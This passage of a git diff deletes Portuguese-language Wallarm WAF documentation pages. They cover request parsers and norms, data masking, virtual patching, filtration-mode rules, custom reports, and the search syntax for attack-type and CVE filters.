`1` -* `[consulta, 'p1', hash, 'y']` — `2` - -#### poluição - -Combina os valores dos parâmetros com o mesmo nome, e pode ser aplicado a qualquer parte da solicitação no formato inicial ou decodificado. - -Exemplo: - -``` -/?p3=1&p3=2 -``` - -* `[consulta, 'p3', poluição]` — `1,2` - -#### percentual - -Decodifica os símbolos da URL, e pode ser aplicado apenas ao componente **uri** da URL. - -#### cookie - -Interpreta os parâmetros do Cookie da solicitação, e pode ser aplicado apenas aos cabeçalhos da solicitação. - -Exemplo: - -``` -GET / HTTP/1.1 -Cookie: a=1; b=2 -``` - -* `[header, 'COOKIE', cookie, 'a']` = `1`; -* `[header, 'COOKIE', cookie, 'b']` = `2`. - -#### form_urlencoded - -Interpreta o corpo da solicitação enviado no formato `application/x-www-form-urlencoded`, e pode ser aplicado apenas ao corpo da solicitação. - -Exemplo: - -``` -p1=1&p2[a]=2&p2[b]=3&p3[]=4&p3[]=5&p4=6&p4=7 -``` - -* `[post, form_urlencoded, 'p1']` — `1` -* `[post, form_urlencoded, 'p2', hash, 'a']` — `2` -* `[post, form_urlencoded, 'p2', hash, 'b']` — `3` -* `[post, form_urlencoded, 'p3', array, 0]` — `4` -* `[post, form_urlencoded, 'p3', array, 1]` — `5` -* `[post, form_urlencoded, 'p4', array, 0]` — `6` -* `[post, form_urlencoded, 'p4', array, 1]` — `7` -* `[post, form_urlencoded, 'p4', poluição]` — `6,7` - -#### grpc - -Interpreta solicitações de API gRPC, e pode ser aplicado apenas ao corpo da solicitação. - -Suporta o filtro **protobuf** para os dados do Protocol Buffers. - -#### multipart - -Interpreta o corpo da solicitação enviado no formato `multipart`, e pode ser aplicado apenas ao corpo da solicitação. - -Suporta o filtro **header** para os cabeçalhos no corpo da solicitação. - -Exemplo: - -``` -p1=1&p2[a]=2&p2[b]=3&p3[]=4&p3[]=5&p4=6&p4=7 -``` - -* `[post, multipart, 'p1']` — `1` -* `[post, multipart, 'p2', hash, 'a']` — `2` -* `[post, multipart, 'p2', hash, 'b']` — `3` -* `[post, multipart, 'p3', array, 0]` — `4` -* `[post, multipart, 'p3', array, 1]` — `5` -* `[post, multipart, 'p4', array, 0]` — `6` -* `[post, multipart, 'p4', array, 1]` — `7` -* `[post, multipart, 'p4', poluição]` — `6,7` - -Se um nome de arquivo estiver especificado no cabeçalho `Content-Disposition`, então o arquivo é considerado carregado neste parâmetro. O parâmetro será assim: - -* `[post, multipart, 'umparam', file]` — conteúdo do arquivo - -#### viewstate - -Projetado para analisar o estado da sessão. A tecnologia é usada pelo Microsoft ASP.NET, e pode ser aplicada apenas ao corpo da solicitação. - -Filtros: - -* **viewstate_array** para um array -* **viewstate_pair** para um array -* **viewstate_triplet** para um array -* **viewstate_dict** para um array associativo -* **viewstate_dict_key** para uma string -* **viewstate_dict_value** para uma string -* **viewstate_sparse_array** para um array associativo - -#### jwt - -Interpreta tokens JWT e pode ser aplicado a qualquer parte da solicitação. - -O interpretador JWT retorna o resultado nos seguintes parâmetros conforme a estrutura JWT detectada: - -* `jwt_prefix`: um dos prefixos de valor JWT suportados - lsapi2, mobapp2, bearer. O interpretador lê o valor do prefixo em qualquer registro. -* `jwt_header`: Cabeçalho JWT. Ao obter o valor, a Wallarm também costuma aplicar os interpretadores [`base64`](#base64) e [`json_doc`](#json_doc) a ele. -* `jwt_payload`: Carga JWT. Ao obter o valor, a Wallarm também costuma aplicar os interpretadores [`base64`](#base64) e [`json_doc`](#json_doc) a ele. - -Os JWTs podem ser passados em qualquer parte da solicitação. Portanto, antes de aplicar o interpretador `jwt`, a Wallarm usa o interpretador específico da parte da solicitação, por exemplo, [`consulta`](#query-string-parameters) ou [`header`](#headers). - -Exemplo do JWT passado no cabeçalho `Authentication`: - -```bash -Authentication: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c -``` - -* `[header, AUTHENTICATION, jwt, 'jwt_prefix']` — `Bearer` -* `[header, AUTHENTICATION, jwt, 'jwt_header', base64, json_doc, hash, 'alg']` — `HS256` -* `[header, AUTHENTICATION, jwt, 'jwt_header', base64, json_doc, hash, 'typ']` — `JWT` -* `[header, AUTHENTICATION, jwt, 'jwt_payload', base64, json_doc, hash, 'sub']` — `1234567890` -* `[header, AUTHENTICATION, jwt, 'jwt_payload', base64, json_doc, hash, 'name']` — `John Doe` -* `[header, AUTHENTICATION, jwt, 'jwt_payload', base64, json_doc, hash, 'iat']` — `1516239022` - -Ao definir um elemento de solicitação a [regra](rules.md) é aplicada a: - -* Escolha primeiro o interpretador da parte da solicitação contendo o JWT -* Especifique um dos parâmetros `jwt_*` listados como o valor do interpretador `jwt`, por exemplo, para o valor do parâmetro `name` na carga JWT: - -![Descrição do parâmetro JWT em uma regra](../../images/user-guides/rules/request-element-desc.png) - -### Normas - -As normas são aplicadas aos interpretadores para tipos de dados de array e chave. Normas são usadas para definir os limites da análise de dados. O valor da norma é indicado na etiqueta do interpretador. Por exemplo: **hash_all**, **hash_name**. - -Se a norma não for especificada, então o identificador da entidade que requer processamento é passado para o interpretador. Por exemplo: o nome do objeto JSON ou outro identificador é passado após **hash**. - -#### all - -Usado para obter valores de todos os elementos, parâmetros ou objetos. Por exemplo: - -* **path_all** para todas as partes do caminho URL -* **query_all** para todos os valores de parâmetro da string de consulta -* **header_all** para todos os valores do cabeçalho -* **array_all** para todos os valores de elementos de array -* **hash_all** para todos os valores de objeto JSON ou atributos XML -* **jwt_all** para todos os valores JWT - -#### name - -Usado para obter os nomes de todos os elementos, parâmetros ou objetos. Por exemplo: - -* **query_name** para todos os nomes de parâmetros da string de consulta -* **header_name** para todos os nomes de cabeçalho -* **hash_name** para todos os nomes de objetos JSON ou atributos XML -* **jwt_name** para os nomes de todos os parâmetros com JWT diff --git a/docs/latest-pt-BR/user-guides/rules/sensitive-data-rule.md b/docs/latest-pt-BR/user-guides/rules/sensitive-data-rule.md deleted file mode 100644 index 4611318a92..0000000000 --- a/docs/latest-pt-BR/user-guides/rules/sensitive-data-rule.md +++ /dev/null @@ -1,42 +0,0 @@ -[img-masking]: ../../images/user-guides/rules/sensitive-data-rule.png - -# Regras para Mascaramento de Dados - -O nó da Wallarm envia os seguintes dados para a Nuvem Wallarm: - -* Solicitações serializadas com ataques -* Contadores do sistema Wallarm -* Estatísticas do sistema: carga da CPU, uso de RAM, etc. -* Estatísticas do sistema Wallarm: número de solicitações NGINX processadas, estatísticas do Tarantool, etc. -* Informações sobre a natureza do tráfego que a Wallarm precisa para detectar corretamente a estrutura do aplicativo - -Alguns dados não devem ser transferidos para fora do servidor em que são processados. Normalmente, esta categoria inclui autorização (cookies, tokens, senhas), dados pessoais e credenciais de pagamento. - -O nó da Wallarm suporta o mascaramento de dados nas solicitações. Esta regra corta o valor original do ponto de solicitação especificado antes de enviar a solicitação para o módulo de pós-análise e Nuvem Wallarm. Este método garante que os dados sensíveis não possam vazar fora do ambiente confiável. - -Isso pode afetar a exibição de ataques, verificação de ataque ativo (ameaça) e a detecção de ataques de força bruta. - -## Criando e aplicando a regra - ---8<-- "../include-pt-BR/waf/features/rules/rule-creation-options.md" - -## Exemplo: Mascaramento de um Valor de Cookie - -**Se** as seguintes condições ocorrerem: - -* o aplicativo está acessível no domínio *example.com* -* o aplicativo usa um cookie *PHPSESSID* para autenticação do usuário -* as políticas de segurança negam o acesso a essas informações para os funcionários que utilizam a Wallarm - -**Então**, para criar uma regra de mascaramento de dados para este cookie, as seguintes ações devem ser executadas: - -1. Vá para a guia *Regras* -1. Encontre o ramo para `example.com/**/*.*` e clique em *Adicionar regra* -1. Escolha *Mascarar dados sensíveis* -1. Selecione o parâmetro *Header* e digite seu valor `COOKIE`; selecione o parâmetro *cookie* e digite seu valor `PHPSESSID` após *nesta parte da solicitação* - - --8<-- "../include-pt-BR/waf/features/rules/request-part-reference.md" - -1. Clique em *Criar* - -![Marcando dados sensíveis][img-masking] \ No newline at end of file diff --git a/docs/latest-pt-BR/user-guides/rules/view.md b/docs/latest-pt-BR/user-guides/rules/view.md deleted file mode 100644 index c4ec39a8e8..0000000000 --- a/docs/latest-pt-BR/user-guides/rules/view.md +++ /dev/null @@ -1,81 +0,0 @@ -[img-rules-overview]: ../../images/user-guides/rules/rules-overview.png -[img-view-rules]: ../../images/user-guides/rules/view-rules.png - -# Inspeção das regras do perfil da aplicação - -Para ver as regras na estrutura da aplicação, vá para a seção **Regras** do Console Wallarm. Esta seção representa ramos e terminações já conhecidos. - -![Visão geral da aba Regras][img-rules-overview] - -O sistema agrupa automaticamente as regras por ramos, destacando condições comuns e construindo uma estrutura semelhante a uma árvore. Como resultado, um ramo pode ter ramos filhos. Para mostrar ou ocultar ramos aninhados, clique no círculo azul à esquerda da descrição do ramo. - -Dois asteriscos `**` na descrição de um ramo referem-se a qualquer número de caminhos aninhados. Por exemplo, o ramo `/**/*.php` conterá tanto `/index.php` como `/app/admin/install.php`. - -O tamanho do círculo azul indica a quantidade relativa de ramos aninhados. Sua cor indica a quantidade relativa de regras dentro do ramo e seus sub-ramos. Em cada nível de aninhamento, o tamanho e a cor dos círculos são independentes uns dos outros. - -A direita da descrição do ramo, o sistema pode exibir um número laranja, que indica o número de regras naquele ramo (apenas os descendentes diretos, não as regras aninhadas). Se nenhum número for exibido, então aquele ramo é "virtual" — ele é usado apenas para agrupar sub-ramos similares. - -Ramos sem regras disponíveis para o usuário (de acordo com o modelo de privilégio) são automaticamente ocultos. - - -## Exibição de Regra - -Em cada ramo, o usuário pode ver a lista de regras anexadas a ele. Para ir para a página com a lista de regras, clique na descrição do ramo correspondente. - -![Visualizando regras do ramo][img-view-rules] - -As regras dentro de um ramo são agrupadas pelo campo *ponto*. As regras que afetam toda a solicitação, em vez de parâmetros individuais, são agrupadas em uma única linha. Para ver a lista completa, clique na linha. - -Para cada regra, o sistema exibe os seguintes parâmetros: última modificação, quantidade, tipos e ponto. - -## Regras padrão - -Você pode criar regras com ação especificada, mas não vinculadas a nenhum endpoint - elas são chamadas **regras padrão**. Essas regras são aplicadas a todos os endpoints. - -* Para criar uma regra padrão, siga o [procedimento padrão](rules.md), mas deixe o URI em branco. A nova regra não vinculada a nenhum endpoint será criada. -* Para ver a lista de regras padrão criadas, clique no botão **Regras padrão**. - -!!! info "Regra padrão do modo de filtragem de tráfego" - Wallarm automaticamente [cria](wallarm-mode-rule.md#default-instance-of-rule) a regra padrão `Definir modo de filtragem` para todos os clientes e define seu valor com base na configuração do [modo de filtragem geral](../../admin-en/configure-wallarm-mode.md#setting-up-the-general-filtration-rule-in-wallarm-console). - -Regras padrão são [herdadas](#distinct-and-inherited-rules) por todos os ramos. - -## Regras distintas e herdadas - -As regras são herdadas ao longo do ramo de regras. Princípios: - -* Todos os ramos herdam regras [padrão](#default-rules). -* Em um ramo, os endpoints filhos herdam regras do pai. -* Distinto tem prioridade sobre o herdado. -* Diretamente especificado tem prioridade sobre [regex](rules.md#condition-type-regex). -* Caso [sensível](rules.md#condition-type-equal) tem prioridade sobre [insensível](rules.md#condition-type-iequal-aa). - -Aqui estão alguns detalhes de como trabalhar com o ramo de regras: - -* Para expandir o endpoint, clique no círculo azul. -* Endpoints que não tem regras distintas estão esmaecidos e não são clicáveis. - - ![Ramo de endpoints](../../images/user-guides/rules/rules-branch.png) - -* Para ver regras para o endpoint, clique nele. Primeiro, serão exibidas as regras distintas para esse endpoint. -* Ao visualizar a lista de regras para um endpoint específico, clique em **Regras distintas e herdadas** para exibir as herdadas. As regras herdadas serão exibidas junto com as distintas; elas estarão esmaecidas em comparação às distintas. - - ![Regras distintas e herdadas para o endpoint](../../images/user-guides/rules/rules-distinct-and-inherited.png) - -## Chamadas de API para obter regras - -Para obter regras personalizadas, você pode [chamar a API Wallarm diretamente](../../api/overview.md) além de usar a IU do Console Wallarm. Abaixo estão alguns exemplos de chamadas de API correspondentes. - -**Obter todas as regras configuradas** - ---8<-- "../include-pt-BR/api-request-examples/get-all-configured-rules.md" - -**Obter apenas condições de todas as regras** - ---8<-- "../include-pt-BR/api-request-examples/get-conditions.md" - -**Obter regras anexadas a uma condição específica** - -Para apontar para uma condição específica, use seu ID - você pode obtê-lo ao solicitar condições de todas as regras (veja acima). - ---8<-- "../include-pt-BR/api-request-examples/get-rules-by-condition-id.md" \ No newline at end of file diff --git a/docs/latest-pt-BR/user-guides/rules/vpatch-rule.md b/docs/latest-pt-BR/user-guides/rules/vpatch-rule.md deleted file mode 100644 index 64d2dd9861..0000000000 --- a/docs/latest-pt-BR/user-guides/rules/vpatch-rule.md +++ /dev/null @@ -1,76 +0,0 @@ -[img-vpatch-example1]: ../../images/user-guides/rules/vpatch-rule-1.png -[img-vpatch-example2]: ../../images/user-guides/rules/vpatch-rule-2.png - -# Correção Virtual - -Uma correção virtual permite bloquear solicitações maliciosas mesmo nos modos de monitoramento e bloqueio seguro ou quando uma solicitação não parece conter nenhum vetor de ataque conhecido. As únicas solicitações que as correções virtuais não bloqueiam são as originadas dos IPs [na lista de permissões](../ip-lists/allowlist.md). - -As correções virtuais são especialmente úteis em casos em que é impossível corrigir uma vulnerabilidade crítica no código ou instalar as atualizações de segurança necessárias rapidamente. - -Se os tipos de ataque são selecionados, a solicitação será bloqueada somente se o nó de filtro detectar um ataque de um dos tipos listados no parâmetro correspondente. - -Se a configuração *Qualquer solicitação* é selecionada, o sistema bloqueará as solicitações com o parâmetro definido, mesmo que ele não contenha um vetor de ataque. - -## Criando e aplicando a regra - ---8<-- "../include-pt-BR/waf/features/rules/rule-creation-options.md" - -## Exemplo: Bloqueando Ataque SQLi no Parâmetro de Consulta `id` - -**Se** as seguintes condições ocorrerem: - -* a aplicação está acessível no domínio *example.com* -* o parâmetro *id* da aplicação é vulnerável a ataques de injeção SQL -* o nó de filtro está configurado para o modo de monitoramento -* as tentativas de exploração da vulnerabilidade devem ser bloqueadas - -**Então**, para criar uma correção virtual - -1. Vá para a guia *Regras* -1. Encontre o ramo `example.com/**/*.*` e clique em *Adicionar regra* -1. Escolha *Criar uma correção virtual* -1. Escolha *SQLi* como o tipo de ataque -1. Selecione o parâmetro *QUERY* e insira seu valor `id` após *nesta parte da solicitação* - - --8<-- "../include-pt-BR/waf/features/rules/request-part-reference.md" - -1. Clique em *Criar* - -![Correção virtual para um determinado tipo de solicitação][img-vpatch-example1] - - -## Exemplo: Bloquear Todas as Solicitações Com o Parâmetro de Consulta `refresh` - -**Se** as seguintes condições acontecerem: - -* a aplicação está acessível no domínio *example.com* -* a aplicação falha ao processar o parâmetro de consulta `refresh` -* as tentativas de exploração da vulnerabilidade devem ser bloqueadas - -**Então**, para criar uma correção virtual - -1. Vá para a guia *Regras* -1. Encontre o ramo `example.com/**/*.*` e clique em *Adicionar regra* -1. Escolha *Criar uma correção virtual* -1. Escolha *Qualquer solicitação* -1. Selecione o parâmetro *QUERY* e insira seu valor `refresh` após *nesta parte da solicitação* - - --8<-- "../include-pt-BR/waf/features/rules/request-part-reference.md" - -1. Clique em *Criar* - -![Correção virtual para qualquer tipo de solicitação][img-vpatch-example2] - -## Chamadas API para criar a regra - -Para criar a regra de correção virtual, você pode [chamar a API Wallarm diretamente](../../api/overview.md) além de usar o UI do Console Wallarm. Abaixo estão alguns exemplos de chamadas API correspondentes. - -**Crie a correção virtual para bloquear todas as solicitações enviadas para `/my/api/*`** - ---8<-- "../include-pt-BR/api-request-examples/create-rule-en.md" - -**Crie a correção virtual para um ID de instância de aplicativo específico para bloquear todas as solicitações enviadas para `/my/api/*`** - -Um aplicativo deve estar [configurado](../settings/applications.md) antes de enviar esta solicitação. Especifique um ID de um aplicativo existente em `action.point[instance].value`. - ---8<-- "../include-pt-BR/api-request-examples/create-rule-for-app-id.md" \ No newline at end of file diff --git a/docs/latest-pt-BR/user-guides/rules/wallarm-mode-rule.md b/docs/latest-pt-BR/user-guides/rules/wallarm-mode-rule.md deleted file mode 100644 index 054bf8a167..0000000000 --- a/docs/latest-pt-BR/user-guides/rules/wallarm-mode-rule.md +++ /dev/null @@ -1,56 +0,0 @@ -[link-wallarm-mode-override]: ../../admin-en/configure-parameters-en.md#wallarm_mode_allow_override - -[img-mode-rule]: ../../images/user-guides/rules/wallarm-mode-rule-with-safe-blocking.png - -# Regra do modo de filtragem - -O modo de filtragem permite habilitar e desabilitar o bloqueio de solicitações para várias partes de um aplicativo da web. - -Para definir um modo de filtragem, crie uma regra de *Definir modo de filtragem* e selecione o modo apropriado. - -O modo de filtragem pode assumir um dos seguintes [valores](../../admin-en/configure-wallarm-mode.md#available-filtration-modes): - -* **Padrão**: o sistema funcionará de acordo com os parâmetros especificados nos arquivos de configuração do NGINX. -* **Desativar**: a análise e filtragem de solicitações são desativadas, exceto para solicitações originadas de IPs na [lista de proibidos](../ip-lists/denylist.md). As solicitações de IPs bloqueados são bloqueadas (mas não mostradas na interface). -* **Monitoramento**: as solicitações são analisadas e exibidas na interface, mas não são bloqueadas, a menos que se originem de IPs na lista de proibidos. Solicitações de IPs na lista de proibidos são bloqueadas (mas não aparecem na interface). -* **Bloqueio seguro**: solicitações mal-intencionadas são bloqueadas apenas se forem originadas de [IPs na lista cinza](../ip-lists/graylist.md). -* **Bloqueio**: solicitações mal-intencionadas são bloqueadas e exibidas na interface. - -Para implementar essa regra, os arquivos de configuração do NGINX devem permitir o [gerenciamento centralizado do modo de operação][link-wallarm-mode-override]. - -## Criando e aplicando a regra - ---8<-- "../include-pt-BR/waf/features/rules/rule-creation-options.md" - -## Instância padrão da regra - -A Wallarm cria automaticamente a instância da regra `Definir modo de filtragem` no nível [padrão](../../user-guides/rules/rules.md#default-rules). O sistema define seu valor com base na [configuração do modo de filtragem geral](../../admin-en/configure-wallarm-mode.md#setting-up-the-general-filtration-rule-in-wallarm-console). - -Essa instância da regra não pode ser excluída. Para alterar seu valor, modifique a [configuração do modo de filtragem geral](../../admin-en/configure-wallarm-mode.md#setting-up-the-general-filtration-rule-in-wallarm-console) do sistema. - -Como todas as outras regras padrão, a regra padrão `Definir modo de filtragem` é [herdada](../../user-guides/rules/rules.md) por todos os ramos. - -## Exemplo: Desabilitando o bloqueio de solicitações durante o registro do usuário - -**Se** as seguintes condições ocorrerem: - -* o registro de novos usuários está disponível em *example.com/signup* -* é melhor ignorar um ataque do que perder um cliente - -**Então**, para criar uma regra que desabilita a bloqueio durante o registro do usuário - -1. Vá para a guia *Regras* -1. Encontre o ramo para `example.com/signup`, e clique em *Adicionar regra* -1. Escolha *Definir modo de filtragem* -1. Escolha o modo de operação *monitoramento* -1. Clique em *Criar* - -![Configurando o modo de filtragem de tráfego][img-mode-rule] - -## Chamadas de API para criar a regra - -Para criar a regra do modo de filtragem, você pode [chamar a API Wallarm diretamente](../../api/overview.md) além de usar a interface de usuário do Console Wallarm. Abaixo está o exemplo da chamada de API correspondente. - -A seguinte solicitação criará a regra definindo o nó para filtrar o tráfego que vai para o [aplicativo](../settings/applications.md) com ID `3` no modo de monitoramento. - ---8<-- "../include-pt-BR/api-request-examples/create-filtration-mode-rule-for-app.md" \ No newline at end of file diff --git a/docs/latest-pt-BR/user-guides/search-and-filters/custom-report.md b/docs/latest-pt-BR/user-guides/search-and-filters/custom-report.md deleted file mode 100644 index 4eb4250a98..0000000000 --- a/docs/latest-pt-BR/user-guides/search-and-filters/custom-report.md +++ /dev/null @@ -1,29 +0,0 @@ -[img-custom-report]: ../../images/user-guides/search-and-filters/custom-report.png - -[link-using-search]: use-search.md - -# Criando um relatório personalizado - -Você pode filtrar eventos e depois exportar os resultados para um relatório em PDF ou CSV. A Wallarm enviará o relatório personalizado para o endereço especificado. - -O PDF é um relatório visualmente rico, bom para análise de dados e apresentação. Este relatório inclui: - -* Resumos de ataques, vulnerabilidades e incidentes -* Informações detalhadas sobre os eventos - -O CSV inclui detalhes sobre cada evento que corresponde ao filtro e é bom para fins técnicos. Você pode usá-lo para criar painéis de controle, obter IPs exclusivos de atacantes, produzir uma lista de hosts/aplicações da API atacados, etc. - -O relatório CSV pode incluir vários arquivos CSV, um para cada tipo de evento - ataque, incidente, vulnerabilidade. Cada CSV tem um máximo de 10.000 eventos, ordenados pelos eventos com mais acertos. - -## Criar relatório - -1. Na aba **Eventos**, [filtre][link-using-search] os eventos. -1. Clique em **Exportar** e selecione PDF ou CSV. -1. Defina o e-mail em **Enviar para**. - - ![Janela de criação de relatório personalizado][img-custom-report] -1. Clique em **Exportar**. A Wallarm irá gerar o relatório e enviá-lo por e-mail. - -## Baixar relatório PDF criado anteriormente - -Os três últimos relatórios em PDF, incluindo aqueles [gerados para vulnerabilidades](../vulnerabilities.md#downloading-vulnerability-report) são salvos. Se necessário, baixe-os da janela de exportação. \ No newline at end of file diff --git a/docs/latest-pt-BR/user-guides/search-and-filters/use-search.md b/docs/latest-pt-BR/user-guides/search-and-filters/use-search.md deleted file mode 100644 index 95c159c34f..0000000000 --- a/docs/latest-pt-BR/user-guides/search-and-filters/use-search.md +++ /dev/null @@ -1,407 +0,0 @@ -[al-sqli]: ../../attacks-vulns-list.md#sql-injection -[al-xss]: ../../attacks-vulns-list.md#crosssite-scripting-xss -[al-rce]: ../../attacks-vulns-list.md#remote-code-execution-rce -[al-brute-force]: ../../attacks-vulns-list.md#brute-force-attack -[al-path-traversal]: ../../attacks-vulns-list.md#path-traversal -[al-crlf]: ../../attacks-vulns-list.md#crlf-injection -[al-open-redirect]: ../../attacks-vulns-list.md#open-redirect -[al-nosqli]: ../../attacks-vulns-list.md#nosql-injection -[al-logic-bomb]: ../../attacks-vulns-list.md#data-bomb -[al-xxe]: ../../attacks-vulns-list.md#attack-on-xml-external-entity-xxe -[al-virtual-patch]: ../../attacks-vulns-list.md#virtual-patch -[al-forced-browsing]: ../../attacks-vulns-list.md#forced-browsing -[al-ldapi]: ../../attacks-vulns-list.md#ldap-injection -[al-port-scanner]: ../../attacks-vulns-list.md#resource-scanning -[al-infoleak]: ../../attacks-vulns-list.md#information-exposure -[al-vuln-component]: ../../attacks-vulns-list.md#vulnerable-component -[al-overlimit]: ../../attacks-vulns-list.md#overlimiting-of-computational-resources -[email-injection]: ../../attacks-vulns-list.md#email-injection -[ssi-injection]: ../../attacks-vulns-list.md#ssi-injection -[invalid-xml]: ../../attacks-vulns-list.md#unsafe-xml-header -[ssti-injection]: ../../attacks-vulns-list.md#serverside-template-injection-ssti -[overlimit-res]: ../../attacks-vulns-list.md#overlimiting-of-computational-resources - -# Utilizando a busca e filtros - -O Wallarm fornece métodos convenientes para pesquisar ataques e incidentes detectados. Na seção **Eventos** do console do Wallarm, estão disponíveis os seguintes métodos de pesquisa: - -* **Filtros** para selecionar critérios de filtragem -* **Campo de pesquisa** para inserir consultas de pesquisa com atributos e modificadores semelhantes à linguagem humana - -Os valores definidos nos filtros são automaticamente duplicados no campo de pesquisa e vice-versa. - -Qualquer consulta de pesquisa ou combinação de filtros pode ser salva clicando em **Salvar uma consulta**. - -## Filtros - -Os filtros disponíveis são apresentados no console do Wallarm de várias formas: - -* Painel de filtros que é expandido e recolhido usando o botão **Filtro** -* Filtros rápidos para excluir ou mostrar apenas eventos com os valores de parâmetro específicos - -![Filtros na interface do usuário](../../images/user-guides/search-and-filters/filters.png) - -Quando os valores de diferentes filtros são selecionados, os resultados atenderão a todas essas condições. Quando diferentes valores para o mesmo filtro são especificados, os resultados atenderão a qualquer uma dessas condições. - -## Campo de pesquisa - -O campo de pesquisa aceita consultas com atributos e modificadores semelhantes à linguagem humana - o que torna a submissão de consultas intuitiva. Por exemplo: - -* `ataques xss`: para pesquisar todos os [ataques XSS][al-xss] -* `ataques hoje`: para pesquisar todos os ataques que ocorreram hoje -* `xss 14/12/2020`: para pesquisar todas as suspeitas, ataques e incidentes de [cross-site scripting][al-xss] em 14 de Dezembro de 2020 -* `p:xss 14/12/2020`: para pesquisar todas as suspeitas, ataques e incidentes de todos os tipos dentro do parâmetro de requisição HTTP xss (i.e. `http://localhost/?xss=attack-here`) em 14 de Dezembro de 2020 -* `ataques 9-12/2020`: para pesquisar todos os ataques de Setembro a Dezembro de 2020 -* `rce /catalogo/importar.php`: para pesquisar todos os [ataques e incidentes de RCE][al-rce] no caminho `/catalogo/importar.php` desde ontem - -Quando os valores de diferentes parâmetros são especificados, os resultados atenderão a todas essas condições. Quando diferentes valores para o mesmo parâmetro são especificados, os resultados atenderão a qualquer uma dessas condições. - -!!! info "Configurando o valor do atributo para NOT" - Para negar o valor do atributo, por favor, use `!` antes do nome do atributo ou modificador. Por exemplo: `ataques !ip:111.111.111.111` para mostrar todas os ataques originados de qualquer endereço IP exceto `111.111.111.111`. - -Abaixo, você encontrará a lista de atributos e modificações disponíveis para uso em consultas de pesquisa. - -### Pesquisar por tipo de objeto - -Especifique na string de pesquisa: - -* `ataque`, `ataques`: para pesquisar apenas pelos ataques que *não* são direcionados a vulnerabilidades conhecidas. -* `incidente`, `incidentes`: para pesquisar apenas por incidentes (ataques que exploram uma vulnerabilidade conhecida). - -### Pesquisar por tipo de ataque - -Especifique na string de pesquisa: - -* `sqli`: para pesquisar por ataques de [injeção de SQL][al-sqli]. -* `xss`: para pesquisar por ataques de [Cross Site Scripting][al-xss]. -* `rce`: para pesquisar por ataques de [Commanding OS][al-rce]. -* `brute`: para pesquisar por ataques de [força bruta][al-brute-force] e requisições bloqueadas de IPs [denylisted](../../user-guides/events/analyze-attack.md#analyze-requests-from-denylisted-ips) por causa dos ataques deste tipo. -* `ptrav`: para pesquisar por ataques de [travessia de caminho][al-path-traversal]. -* `crlf`: para pesquisar por ataques de [injeção CRLF][al-crlf]. -* `redir`: para pesquisar por ataques de [redirecionamento aberto][al-open-redirect]. -* `nosqli`: para pesquisar por ataques de [injeção NoSQL][al-nosqli]. -* `data_bomb`: para pesquisar por ataques de [bomba lógica][al-logic-bomb]. -* `ssti`: para pesquisar por [Injeção de Template do Lado do Servidor][ssti-injection]. -* `invalid_xml`: para pesquisar por [uso de cabeçalho XML inseguro][invalid-xml]. -* `overlimit_res`: para pesquisar por ataques direcionados a [exceder o limite de recursos computacionais][al-overlimit]. -* `xxe`: para pesquisar por ataques de [Entidade Externa XML][al-xxe]. -* `vpatch`: para pesquisar por [patches virtuais][al-virtual-patch]. -* `dirbust`: para pesquisar por ataques de [navegação forçada][al-forced-browsing] e requisições bloqueadas de IPs [denylisted](../../user-guides/events/analyze-attack.md#analyze-requests-from-denylisted-ips) por causa dos ataques deste tipo. -* `ldapi`: para pesquisar por ataques de [injeção LDAP][al-ldapi]. -* `scanner`: para pesquisar por ataques de [scanner de porta][al-port-scanner]. -* `infoleak`: para pesquisar por ataques de [disclosure de informação][al-infoleak]. -* `mail_injection`: para pesquisar por [Injeções de Email][email-injection]. -* `ssi`: para pesquisar por [Injeções SSI][ssi-injection]. -* `overlimit_res`: para pesquisar por ataques do tipo [excessivo uso de recursos][overlimit-res]. -* `experimental`: para pesquisar por ataques experimentais detectados com base em [expressão regular personalizada](../rules/regex-rule.md). -* `bola`: para pesquisar por ataques que exploram a vulnerabilidade [BOLA (IDOR)](../../attacks-vulns-list.md#broken-object-level-authorization-bola) e requisições bloqueadas de IPs [denylisted](../../user-guides/events/analyze-attack.md#analyze-requests-from-denylisted-ips) por causa dos ataques deste tipo. -* `mass_assignment`: para pesquisar por tentativas de ataque de [Atribuição em Massa](../../attacks-vulns-list.md#mass-assignment). -* `api_abuse`: para pesquisar por [ataques a API realizados por bots](../../attacks-vulns-list.md#api-abuse). -* `ssrf`: para pesquisar por [Falsificação de Solicitação do Lado do Servidor (SSRF) e ataques](../../attacks-vulns-list.md#serverside-request-forgery-ssrf). -* `blocked_source`: para pesquisar por ataques de IPs [negados manualmente](../../user-guides/events/analyze-attack.md#analyze-requests-from-denylisted-ips). -* `multiple_payloads`: para pesquisar por ataques detectados pelo gatilho [Número de cargas úteis maliciosas](../../user-guides/triggers/triggers.md#step-1-choosing-a-condition) e requisições bloqueadas de IPs [denylisted](../../user-guides/events/analyze-attack.md#analyze-requests-from-denylisted-ips) por causa dos ataques deste tipo. - -O nome do ataque pode ser especificado em letras maiúsculas e minúsculas: `SQLI`, `sqli` e `SQLi` estão igualmente corretos. - -### Pesquisar ataques associados com as principais ameaças OWASP - -Você pode encontrar ataques associados às principais ameaças OWASP usando as tags de ameaças OWASP. O formato para buscar esses ataques é `owasp_api1_2023`. - -Essas tags correspondem à numeração original de ameaças conforme definido pelo OWASP. Wallarm associa ataques com as principais ameaças API OWASP das versões 2019 e 2023. - -### Pesquisar por ataques conhecidos (CVE e explorações bem conhecidas) - -* `known`: para buscar por requisições que precisamente atacam, pois exploram vulnerabilidades do CVE ou outros tipos de vulnerabilidade bem conhecidos. - - Para filtrar ataques por um certo CVE ou outro tipo de vulnerabilidade bem conhecido, você pode passar a tag apropriada além da tag `known` ou separadamente dela. Por exemplo: `known:CVE-2004-2402 CVE-2018-6008` ou `CVE-2004-2402 CVE-2018-6008` para pesquisar ataques que exploram as vulnerabilidades [CVE-2004-2402](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2402) e [CVE-2018-6008](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-6008). -* `!known`: possíveis falsos positivos. Estas requisições podem conter explorações pouco conhecidas ou o contexto transformando as explorações em valores de parâmetros legítimos. - -Para filtrar ataques por CVE e explorações bem conhecidas, os filtros rápidos por tipos de eventos e **CVE e explorações** podem ser usados. - -### Pesquisar hits por protocolos API - -Para filtrar hits por protocolos de API, use a tag `proto:` ou `protocol:`. - -Essa tag permite os seguintes valores: - -* `proto:graphql` -* `proto:grpc` -* `proto:websocket` -* `proto:rest` -* `proto:soap` 